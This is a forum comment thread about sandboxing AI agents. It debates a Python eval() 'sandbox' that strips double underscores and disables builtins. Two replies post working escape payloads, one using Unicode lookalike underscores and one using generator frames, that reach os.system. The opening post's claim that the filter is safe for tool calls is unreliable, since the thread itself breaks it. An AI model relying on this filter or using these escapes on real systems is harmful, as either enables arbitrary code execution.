Sandboxing AI agents, 100x faster

Re:Sandboxing AI agents, 100x faster by est on Tuesday March 24, 2026 @11:21AM (#47503996)

slightly related, if you need a safe python sandbox instead of eval(), you can try

eval(YOUR_CODE.replace('__', ''), {'__builtins__': None}, {})

I saw this trick on reddit many years ago and wrote a blog last month https://blog.est.im/2026/stdout-09

I wasn't able to crack this sandbox, and neither could opus-4.6-thinking.

This sandbox won't protect you from DoS, but I think it's reasonably safe to use it for AI tool calls. Just expose your MCP/RPC methods in the last {} and you are good.

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Re:Sandboxing AI agents, 100x faster by farlow on Tuesday March 24, 2026 @09:14PM (#47511916)

You can bypass this with unicode:

eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {})

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Re:Sandboxing AI agents, 100x faster by farlow on Tuesday March 24, 2026 @09:17PM (#47511945)

You can do it without unicode, too:

eval("(L:=[None],g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),L.clear(),L.append(g),bi:=g.send(None),bi['_'+'_import_'+'_']('os').system('id'))".replace('__', ''), {'__builtins__': None}, {})

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Re:Sandboxing AI agents, 100x faster by est on Tuesday March 24, 2026 @10:28PM (#47512464)

damn you are good. Is this a new py3 thing?

I must missed lots of CTF lessons.

How about adding another .replace('﹍','').replace('gi_frame', '') ?

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